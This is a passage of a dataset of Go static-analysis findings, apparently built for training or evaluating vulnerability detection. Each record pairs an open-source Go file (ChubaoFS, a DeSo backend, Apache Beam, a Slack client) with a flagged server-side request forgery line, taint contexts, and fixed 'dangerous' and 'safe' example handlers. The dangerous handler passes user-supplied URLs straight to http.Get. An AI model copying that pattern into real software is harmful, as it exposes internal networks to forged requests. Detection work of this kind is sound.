client log dir, path: %v\", clientLog))\n\t\treturn\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tlog.Warningf(\"chubaofs: cleaning log dir, %v\", clientLog)\n\t\t\tos.RemoveAll(clientLog)\n\t\t}\n\t}()\n\n\tif err = os.MkdirAll(clientWarnLog, os.ModeDir); err != nil {\n\t\terr = errors.New(fmt.Sprintf(\"chubaofs: failed to create client warn log dir, path: %v , err: %v\", clientWarnLog, err))\n\t\treturn\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tlog.Warningf(\"chubaofs: cleaning warn log dir, %v\", clientWarnLog)\n\t\t\tos.RemoveAll(clientWarnLog)\n\t\t}\n\t}()\n\n\t/*\n\t * Check and create mount point directory.\n\t * Mount point dir has to be newly created.\n\t */\n\tlocations := make([]string, 0)\n\tif len(opt.ExportLocations) == 0 {\n\t\tlocations = append(locations, path.Join(d.conf.MntPoint, volName))\n\t} else {\n\t\tlocations = append(locations, opt.ExportLocations...)\n\t}\n\n\t/*\n\t * Mount point has to be absolute path to avoid umounting the current\n\t * working directory.\n\t */\n\tfsMntPoints, err = createAbsMntPoints(locations)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tfor _, mnt := range fsMntPoints {\n\t\t\t\tos.RemoveAll(mnt)\n\t\t\t}\n\t\t}\n\t}()\n\n\t/*\n\t * Generate client mount config file.\n\t */\n\tmntConfig := make(map[string]interface{})\n\tmntConfig[KVolumeName] = volName\n\tmntConfig[KMasterAddr] = strings.Join(d.conf.MasterAddr, \",\")\n\tmntConfig[KLogDir] = clientLog\n\tmntConfig[KWarnLogDir] = clientWarnLog\n\tif d.conf.LogLevel != \"\" {\n\t\tmntConfig[KLogLevel] = d.conf.LogLevel\n\t} else {\n\t\tmntConfig[KLogLevel] = defaultLogLevel\n\t}\n\tif d.conf.Owner != \"\" {\n\t\tmntConfig[KOwner] = d.conf.Owner\n\t} else {\n\t\tmntConfig[KOwner] = defaultOwner\n\t}\n\tif d.conf.ProfPort != \"\" {\n\t\tmntConfig[KProfPort] = d.conf.ProfPort\n\t} else {\n\t\tmntConfig[KProfPort] = defaultProfPort\n\t}\n\n\towner = mntConfig[KOwner].(string)\n\n\tfor i, mnt := range fsMntPoints {\n\t\tmntConfig[KMountPoint] = mnt\n\t\tdata, e := json.MarshalIndent(mntConfig, \"\", \" \")\n\t\tif e != nil {\n\t\t\terr = errors.New(fmt.Sprintf(\"chubaofs: failed to generate client config file, err(%v)\", e))\n\t\t\treturn\n\t\t}\n\t\tfilePath := path.Join(clientConf, strconv.Itoa(i), clientConfigFileName)\n\t\t_, e = generateFile(filePath, data)\n\t\tif e != nil {\n\t\t\terr = errors.New(fmt.Sprintf(\"chubaofs: failed to generate client config file, err(%v)\", e))\n\t\t\treturn\n\t\t}\n\t\tconfigFiles = append(configFiles, filePath)\n\t}\n\n\treturn\n}\n\n/*\n * This function creates mount points according to the specified paths,\n * and returns the absolute paths.\n */\nfunc createAbsMntPoints(locations []string) (mntPoints []string, err error) {\n\tmntPoints = make([]string, 0)\n\tfor _, loc := range locations {\n\t\tmnt, e := filepath.Abs(loc)\n\t\tif e != nil {\n\t\t\terr = errors.New(fmt.Sprintf(\"chubaofs: failed to get absolute path of export locations, loc: %v , err: %v\", loc, e))\n\t\t\treturn\n\t\t}\n\t\tif e = os.MkdirAll(mnt, os.ModeDir); e != nil {\n\t\t\terr = errors.New(fmt.Sprintf(\"chubaofs: failed to create mount point dir, mnt: %v , err: %v\", mnt, e))\n\t\t\treturn\n\t\t}\n\t\tmntPoints = append(mntPoints, mnt)\n\t}\n\treturn\n}\n\n/*\n * This function generates the target file with specified path, and writes data.\n */\nfunc generateFile(filePath string, data []byte) (int, error) {\n\tos.MkdirAll(path.Dir(filePath), os.ModePerm)\n\tfw, err := os.Create(filePath)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer fw.Close()\n\treturn fw.Write(data)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 112, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 112, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 125, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "f89fb6e6b240ba6d34bb879e071b63fed371f4e4bd07e4c49ecd3a2d780b9f1b", "license": {"spdx": ["MIT"], "repo": "xhhong211/backend", "path": "routes/expose_global_state.go", "repo_head_hexsha": "145bf9cb8f6a065e6cf2804adc96458471bc9b79", "stack_hexsha": "78b1779a7061714a5dd4a048e0fcbd2ebe52a94a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 179, "entireCode": "package routes\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/deso-protocol/core/lib\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"reflect\"\n)\n\n// GetVerifiedUsernames returns the VerifiedUsernameToPKID map if global state is exposed.\nfunc (fes *APIServer) GetVerifiedUsernames(ww http.ResponseWriter, req *http.Request) {\n\tfes.WriteGlobalStateDataToResponse(fes.VerifiedUsernameToPKIDMap, \"GetVerifiedUsernames\", ww)\n}\n\n// GetBlacklistedPublicKeys returns a map of PKID (as Base58 encoded string) to Blacklist state bytes if global state\n// is exposed.\nfunc (fes *APIServer) GetBlacklistedPublicKeys(ww http.ResponseWriter, req *http.Request) {\n\tfes.WriteGlobalStateDataToResponse(fes.BlacklistedResponseMap, \"GetBlacklistedPublicKeys\", ww)\n}\n\n// GetGraylistedPublicKeys returns a map of PKID (as Base58 encoded string) to Graylist state bytes if global state\n// is exposed.\nfunc (fes *APIServer) GetGraylistedPublicKeys(ww http.ResponseWriter, req *http.Request) {\n\tfes.WriteGlobalStateDataToResponse(fes.GraylistedResponseMap, \"GetGraylistedPublicKeys\", ww)\n}\n\n// GetGlobalFeed returns the post hashes in the global feed for the last 7 days\nfunc (fes *APIServer) GetGlobalFeed(ww http.ResponseWriter, req *http.Request) {\n\tfes.WriteGlobalStateDataToResponse(fes.GlobalFeedPostHashes, \"GetGlobalFeed\", ww)\n}\n\n// WriteGlobalStateDataToResponse is a helper to encode the response.\nfunc (fes *APIServer) WriteGlobalStateDataToResponse(data interface{}, functionName string, ww http.ResponseWriter) {\n\tif !fes.Config.ExposeGlobalState {\n\t\t_AddNotFoundError(ww, fmt.Sprintf(\"Global state not exposed\"))\n\t\treturn\n\t}\n\tif err := json.NewEncoder(ww).Encode(data); err != nil {\n\t\t_AddBadRequestError(ww, fmt.Sprintf(\"%v: Problem encoding response as JSON: %v\", functionName, err))\n\t\treturn\n\t}\n}\n\n// GetVerifiedUsernameMapResponse gets the verified username map (both map[string]string and map[string]*lib.PKID) from\n// the configured GlobalStateAPIUrl or this node's global state.\nfunc (fes *APIServer) GetVerifiedUsernameMap() (\n\t_verifiedUsernameToPKID map[string]*lib.PKID, _err error,\n) {\n\tverifiedUsernameMap := make(map[string]*lib.PKID)\n\tvar err error\n\t// If there is an external global state specified, fetch the verified username map from there.\n\tif fes.Config.GlobalStateAPIUrl != \"\" {\n\t\t// Get the bytes.\n\t\tvar mapBytes []byte\n\t\tmapBytes, err = fes.FetchFromExternalGlobalState(RoutePathGetVerifiedUsernames)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"GetVerifiedUsernameMap: Error fetching map from external global state: %v\", err)\n\t\t}\n\t\t// Decode the response into the appropriate struct.\n\t\tdecoder := json.NewDecoder(bytes.NewReader(mapBytes))\n\t\tif err = decoder.Decode(&verifiedUsernameMap); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"GetVerifiedUsernameMap: Error decoding bytes: %v\", err)\n\t\t}\n\t} else {\n\t\t// If we're getting from this node's global state, fetch the bytes from the global state instead of using the\n\t\t// cache.\n\t\tverifiedUsernameMap, err = fes.GetVerifiedUsernameToPKIDMapFromGlobalState()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"GetVerifiedUsernameMap: Error getting verified username map %v\", err)\n\t\t}\n\t}\n\n\treturn verifiedUsernameMap, nil\n}\n\n// GetBlacklist returns both a slice of strings and a map of PKID to []byte representing the current state of\n// blacklisted users.\nfunc (fes *APIServer) GetBlacklist(utxoView *lib.UtxoView) (\n\t_blacklistedPKIDMap map[lib.PKID][]byte, _err error,\n) {\n\treturn fes.GetRestrictedPublicKeys(_GlobalStatePrefixPublicKeyToBlacklistState, IsBlacklisted, utxoView, RoutePathGetBlacklistedPublicKeys)\n}\n\n// GetGraylist returns both a slice of strings and a map of PKID to []byte representing the current state of graylisted\n// users.\nfunc (fes *APIServer) GetGraylist(utxoView *lib.UtxoView) (\n\t_graylistedPKIDMap map[lib.PKID][]byte, _err error,\n) {\n\treturn fes.GetRestrictedPublicKeys(_GlobalStatePrefixPublicKeyToGraylistState, IsGraylisted, utxoView, RoutePathGetGraylistedPublicKeys)\n}\n\n// GetRestrictedPublicKeys fetches the blacklisted or graylisted public keys from this node's global state or the configured\n// external global state. This returns both a slice of public keys (strings) and a map of PKID to restricted bytes.\nfunc (fes *APIServer) GetRestrictedPublicKeys(prefix []byte, filterValue []byte, utxoView *lib.UtxoView, routePath string) (\n\t_pkidMap map[lib.PKID][]byte, _err error,\n) {\n\t// Hit GlobalStateAPIUrl for restricted public keys.\n\tif fes.Config.GlobalStateAPIUrl != \"\" {\n\t\t// Fetch the bytes from the external global state.\n\t\trestrictedPublicKeyMapBytes, err := fes.FetchFromExternalGlobalState(routePath)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// Decode the response into the appropriate struct. To use json encoding, we had to convert PKID to a string\n\t\t// so we'll need to convert back from string to PKID here.\n\t\tstringifiedPKIDsMap := make(map[string][]byte)\n\t\tdecoder := json.NewDecoder(bytes.NewReader(restrictedPublicKeyMapBytes))\n\t\tif err = decoder.Decode(&stringifiedPKIDsMap); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"GetRestrictedPublicKeys: Error decoding bytes: %v\", err)\n\t\t}\n\t\t// Iterate over the restricted public key map to convert string to PKIDs and create a filteredPublicKeys slice.\n\t\tpkidMap := make(map[lib.PKID][]byte)\n\t\tfor k, v := range stringifiedPKIDsMap {\n\t\t\tvar publicKeyBytes []byte\n\t\t\tpublicKeyBytes, _, err = lib.Base58CheckDecode(k)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tpkid := lib.PublicKeyToPKID(publicKeyBytes)\n\t\t\tpkidMap[*pkid] = v\n\t\t}\n\t\treturn pkidMap, nil\n\t}\n\t// Otherwise, we're using our own global state. Seek global state for all restricted public keys of this type.\n\tpublicKeys, states, err := fes.GlobalState.Seek(\n\t\tprefix,\n\t\tprefix, /*validForPrefix*/\n\t\t0, /*maxKeyLen -- ignored since reverse is false*/\n\t\t0, /*numToFetch -- 0 is ignored*/\n\t\tfalse, /*reverse*/\n\t\ttrue, /*fetchValues*/\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfilteredPKIDMap := make(map[lib.PKID][]byte)\n\t// Iterate over all restricted public keys\n\tfor ii, publicKeyWithPrefix := range publicKeys {\n\t\t// Sanity check that the byte found in global state indicates this is a restricted key.\n\t\tif reflect.DeepEqual(states[ii], filterValue) {\n\t\t\t// Remove the prefix byte\n\t\t\tpublicKey := publicKeyWithPrefix[1:]\n\t\t\tpkid := utxoView.GetPKIDForPublicKey(publicKey)\n\t\t\tfilteredPKIDMap[*pkid.PKID] = filterValue\n\t\t}\n\t}\n\treturn filteredPKIDMap, nil\n}\n\nfunc (fes *APIServer) GetGlobalFeedCache() (_postHashes []*lib.BlockHash, _err error) {\n\tif fes.Config.GlobalStateAPIUrl != \"\" {\n\t\tbody, err := fes.FetchFromExternalGlobalState(RoutePathGetGlobalFeed)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Decode the body into a slice of BlockHashes\n\t\tvar blockHashes []*lib.BlockHash\n\t\tdecoder := json.NewDecoder(bytes.NewReader(body))\n\t\tif err = decoder.Decode(&blockHashes); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"GetGlobalFeed: Error decoding bytes: %v\", err)\n\t\t}\n\t\treturn blockHashes, nil\n\t}\n\tpostHashes, err := fes.GetGlobalFeedPostHashesForLastWeek()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn postHashes, nil\n}\n\n// FetchFromExternalGlobalState hits an endpoint at the configured GlobalStateAPIUrl and returns the bytes read from\n// the response body.\nfunc (fes *APIServer) FetchFromExternalGlobalState(routePath string) (_body []byte, _err error) {\n\tURL := fmt.Sprintf(\"%v%v\", fes.Config.GlobalStateAPIUrl, routePath)\n\treq, _ := http.NewRequest(\"GET\", URL, nil)\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != 200 {\n\n\t\tvar body []byte\n\t\t// Decode the response into the appropriate struct.\n\t\tbody, err = ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"FetchFromExternalGlobalState: error reading body in from non-200 response for route %v. Status code: %v. Error: %v\", routePath, resp.StatusCode, err)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"FetchFromExternalGlobalState: error fetching %v: %v\", routePath, string(body))\n\t}\n\n\treturn ioutil.ReadAll(resp.Body)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 178, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 178, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 179, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "ffc1bcf10a6f98ced1c15c3aac294de3c0ee2ed8785bc991e26f208cf2e7aeaf", "license": {"spdx": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause"], "repo": "harrydrippin/beam", "path": "sdks/go/test/load/util.go", "repo_head_hexsha": "4b413bbb5f8807b0f7a284fd818f2772f036fe55", "stack_hexsha": "96436d0d678204408206b5010ea10b289f6148e0", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 183, "entireCode": "// Licensed to the Apache Software Foundation (ASF) under one or more\n// contributor license agreements. See the NOTICE file distributed with\n// this work for additional information regarding copyright ownership.\n// The ASF licenses this file to You under the Apache License, Version 2.0\n// (the \"License\"); you may not use this file except in compliance with\n// the License. You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage load\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"reflect\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/apache/beam/sdks/v2/go/pkg/beam\"\n\t\"github.com/apache/beam/sdks/v2/go/pkg/beam/core/metrics\"\n)\n\nconst (\n\truntimeMetricNamespace = \"RuntimeMonitor\"\n\truntimeMetricName = \"runtime\"\n)\n\nvar (\n\tinfluxMeasurement = flag.String(\n\t\t\"influx_measurement\",\n\t\t\"\",\n\t\t`An InfluxDB measurement where metrics should be published to.\n\t\tIf empty, no metrics will be send to InfluxDB.`)\n\tinfluxDatabase = flag.String(\n\t\t\"influx_db_name\",\n\t\t\"\",\n\t\t\"InfluxDB database name. If empty, no metrics will be send to InfluxDB.\")\n\tinfluxHost = flag.String(\n\t\t\"influx_hostname\",\n\t\t\"http://localhost:8086\",\n\t\t\"Hostname and port to connect to InfluxDB. Defaults to http://localhost:8086.\")\n\tinfluxNamespace = flag.String(\n\t\t\"influx_namespace\",\n\t\t\"\",\n\t\t`A namespace to be used when constructing InfluxDB's data points.\n\t\tUsed to make some points different from others within the same measurement.`)\n\truntime = beam.NewDistribution(runtimeMetricNamespace, runtimeMetricName)\n)\n\nfunc init() {\n\tbeam.RegisterType(reflect.TypeOf((*RuntimeMonitor)(nil)).Elem())\n}\n\n// RuntimeMonitor is a DoFn to record processing time in the pipeline.\n//\n// It uses a distribution metric which is updated every time a new bundle\n// starts or finishes. The processing time can be extracted by calculating\n// the difference of the maximum and the minimum value of the distribution\n// metric.\ntype RuntimeMonitor struct{}\n\n// StartBundle updates a distribution metric.\nfunc (fn *RuntimeMonitor) StartBundle(ctx context.Context, emit func([]byte, []byte)) {\n\truntime.Update(ctx, time.Now().UnixNano())\n}\n\n// FinishBundle updates a distribution metric.\nfunc (fn *RuntimeMonitor) FinishBundle(ctx context.Context, emit func([]byte, []byte)) {\n\truntime.Update(ctx, time.Now().UnixNano())\n}\n\n// ProcessElement emits unmodified input elements.\nfunc (fn *RuntimeMonitor) ProcessElement(key, value []byte, emit func([]byte, []byte)) {\n\temit(key, value)\n}\n\ntype influxDBOptions struct {\n\tmeasurement string\n\tdbName string\n\thostname string\n\tuser string\n\tpassword string\n}\n\nfunc newInfluxDBOptions() *influxDBOptions {\n\treturn &influxDBOptions{\n\t\tmeasurement: *influxMeasurement,\n\t\tdbName: *influxDatabase,\n\t\thostname: *influxHost,\n\t\tuser: os.Getenv(\"INFLUXDB_USER\"),\n\t\tpassword: os.Getenv(\"INFLUXDB_USER_PASSWORD\")}\n}\n\nfunc (options influxDBOptions) validate() bool {\n\treturn options.measurement != \"\" && options.dbName != \"\"\n}\n\nfunc (options influxDBOptions) httpAuthEnabled() bool {\n\treturn options.user != \"\" && options.password != \"\"\n}\n\n// loadTestResult represents a single data record that has: a timestamp,\n// a type of a metric, and a value.\ntype loadTestResult struct {\n\ttimestamp int64\n\tmetric string\n\tvalue float64\n}\n\nfunc newLoadTestResult(value float64) loadTestResult {\n\tmetric := \"\"\n\tif *influxNamespace == \"\" {\n\t\tmetric = runtimeMetricName\n\t} else {\n\t\tmetric = fmt.Sprintf(\"%v_%v\", *influxNamespace, runtimeMetricName)\n\t}\n\treturn loadTestResult{timestamp: time.Now().Unix(), metric: metric, value: value}\n}\n\n// PublishMetrics calculates the runtime and sends the result to InfluxDB database.\nfunc PublishMetrics(results metrics.QueryResults) {\n\toptions := newInfluxDBOptions()\n\tif options.validate() {\n\t\tif res := toLoadTestResults(results); len(res) > 0 {\n\t\t\tpublishMetricstoInfluxDB(options, toLoadTestResults(results))\n\t\t}\n\t} else {\n\t\tlog.Print(\"Missing InfluxDB options. Metrics will not be published to InfluxDB\")\n\t}\n}\n\nfunc toLoadTestResults(results metrics.QueryResults) []loadTestResult {\n\tres := make([]loadTestResult, 0)\n\tmatched := make([]metrics.DistributionResult, 0)\n\n\tfor _, dist := range results.Distributions() {\n\t\tif dist.Key.Namespace == runtimeMetricNamespace &&\n\t\t\tdist.Key.Name == runtimeMetricName {\n\t\t\tmatched = append(matched, dist)\n\t\t}\n\t}\n\n\tif len(matched) > 0 {\n\t\tres = append(res, newLoadTestResult(extractRuntimeValue(matched)))\n\t}\n\treturn res\n}\n\n// extractRuntimeValue returns a difference between the maximum of maximum\n// values and the minimum of minimum values in seconds.\nfunc extractRuntimeValue(dists []metrics.DistributionResult) float64 {\n\tmin := dists[0].Result().Min\n\tmax := min\n\n\tfor _, dist := range dists {\n\t\tres := dist.Result()\n\t\tif min > res.Min {\n\t\t\tmin = res.Min\n\t\t}\n\t\tif max < res.Max {\n\t\t\tmax = res.Max\n\t\t}\n\t}\n\treturn float64(max-min) / float64(time.Second)\n}\n\nfunc publishMetricstoInfluxDB(options *influxDBOptions, results []loadTestResult) {\n\turl := fmt.Sprintf(\"%v/write\", options.hostname)\n\tpayload := buildPayload(options, results)\n\n\trequest, err := http.NewRequest(\"POST\", url, strings.NewReader(payload))\n\tif err != nil {\n\t\tlog.Print(err)\n\t\treturn\n\t}\n\n\tquery := request.URL.Query()\n\tquery.Add(\"db\", options.dbName)\n\tquery.Add(\"precision\", \"s\")\n\trequest.URL.RawQuery = query.Encode()\n\n\tif options.httpAuthEnabled() {\n\t\trequest.SetBasicAuth(options.user, options.password)\n\t}\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(request)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\treturn\n\t}\n\n\tif resp.StatusCode != 204 {\n\t\tjsonData := make(map[string]string)\n\t\tjson.Unmarshal(body, &jsonData)\n\t\tlog.Print(fmt.Errorf(\"Failed to publish metrics to InfluxDB. Received status code %v \"+\n\t\t\t\"with an error message: %v\", resp.StatusCode, jsonData[\"error\"]))\n\t}\n}\n\nfunc buildPayload(options *influxDBOptions, results []loadTestResult) string {\n\tpoints := make([]string, len(results))\n\tfor i, result := range results {\n\t\tpoints[i] = fmt.Sprintf(\"%v,metric=%v value=%f %d\", options.measurement,\n\t\t\tresult.metric, result.value, result.timestamp)\n\t}\n\treturn strings.Join(points, \"\\n\")\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 180, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 180, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 183, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "df2636cf96c26ed273180297a59cb697afd3528670d52e305d5e1f07b1f1a1a7", "license": {"spdx": ["MIT"], "repo": "wblakecaldwell/slackapi", "path": "user.go", "repo_head_hexsha": "2326bb546ce9939111b7945e45bfdd1765c26699", "stack_hexsha": "b07cf52b810f9a2c326e37bab0095eee6df1f080", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 45, "entireCode": "package slackapi\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\ntype userResponse struct {\n\tOk bool `json:\"ok\"`\n\tError string `json:\"error\"`\n\tUser User `json:\"user\"`\n}\n\n// User represents a Slack user\ntype User struct {\n\tID string `json:\"id\"`\n\tTeamID string `json:\"team_id\"`\n\tName string `json:\"name\"`\n\tDeleted bool `json:\"deleted\"`\n\tColor string `json:\"color\"`\n\tProfile struct {\n\t\tFirstName string `json:\"first_name\"`\n\t\tLastName string `json:\"last_name\"`\n\t\tRealName string `json:\"real_name\"`\n\t\tEmail string `json:\"email\"`\n\t\tSkype string `json:\"skype\"`\n\t\tPhone string `json:\"phone\"`\n\t\tImage24 string `json:\"image_24\"`\n\t\tImage32 string `json:\"image_32\"`\n\t\tImage48 string `json:\"image_48\"`\n\t\tImage72 string `json:\"image_72\"`\n\t\tImage192 string `json:\"image_192\"`\n\t} `json:\"profile\"`\n\tIsAdmin bool `json:\"is_admin\"`\n\tIsOwner bool `json:\"is_owner\"`\n\tHas2FA bool `json:\"has_2va\"`\n\tHasFiles bool `json:\"has_files\"`\n}\n\n// GetUserInfo returns a *User from the input userID\nfunc GetUserInfo(token string, userID string) (*User, error) {\n\turl := fmt.Sprintf(\"https://slack.com/api/users.info?token=%s&user=%s\", token, userID)\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Error requesting info for user %s: %s\", userID, err)\n\t}\n\tif resp.StatusCode != 200 {\n\t\treturn nil, fmt.Errorf(\"API request failed with code %d\", resp.StatusCode)\n\t}\n\n\t// get the response from HTTP body\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Error received trying to close the user info body: %s\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\t// unmarshal response\n\tvar userResponse userResponse\n\terr = json.Unmarshal(body, &userResponse)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Error unmarshalling user info response: %s\", err)\n\t}\n\n\tif !userResponse.Ok {\n\t\treturn nil, fmt.Errorf(\"Response from Slack was not okay - error: %s\", userResponse.Error)\n\t}\n\n\treturn &userResponse.User, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 45, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": 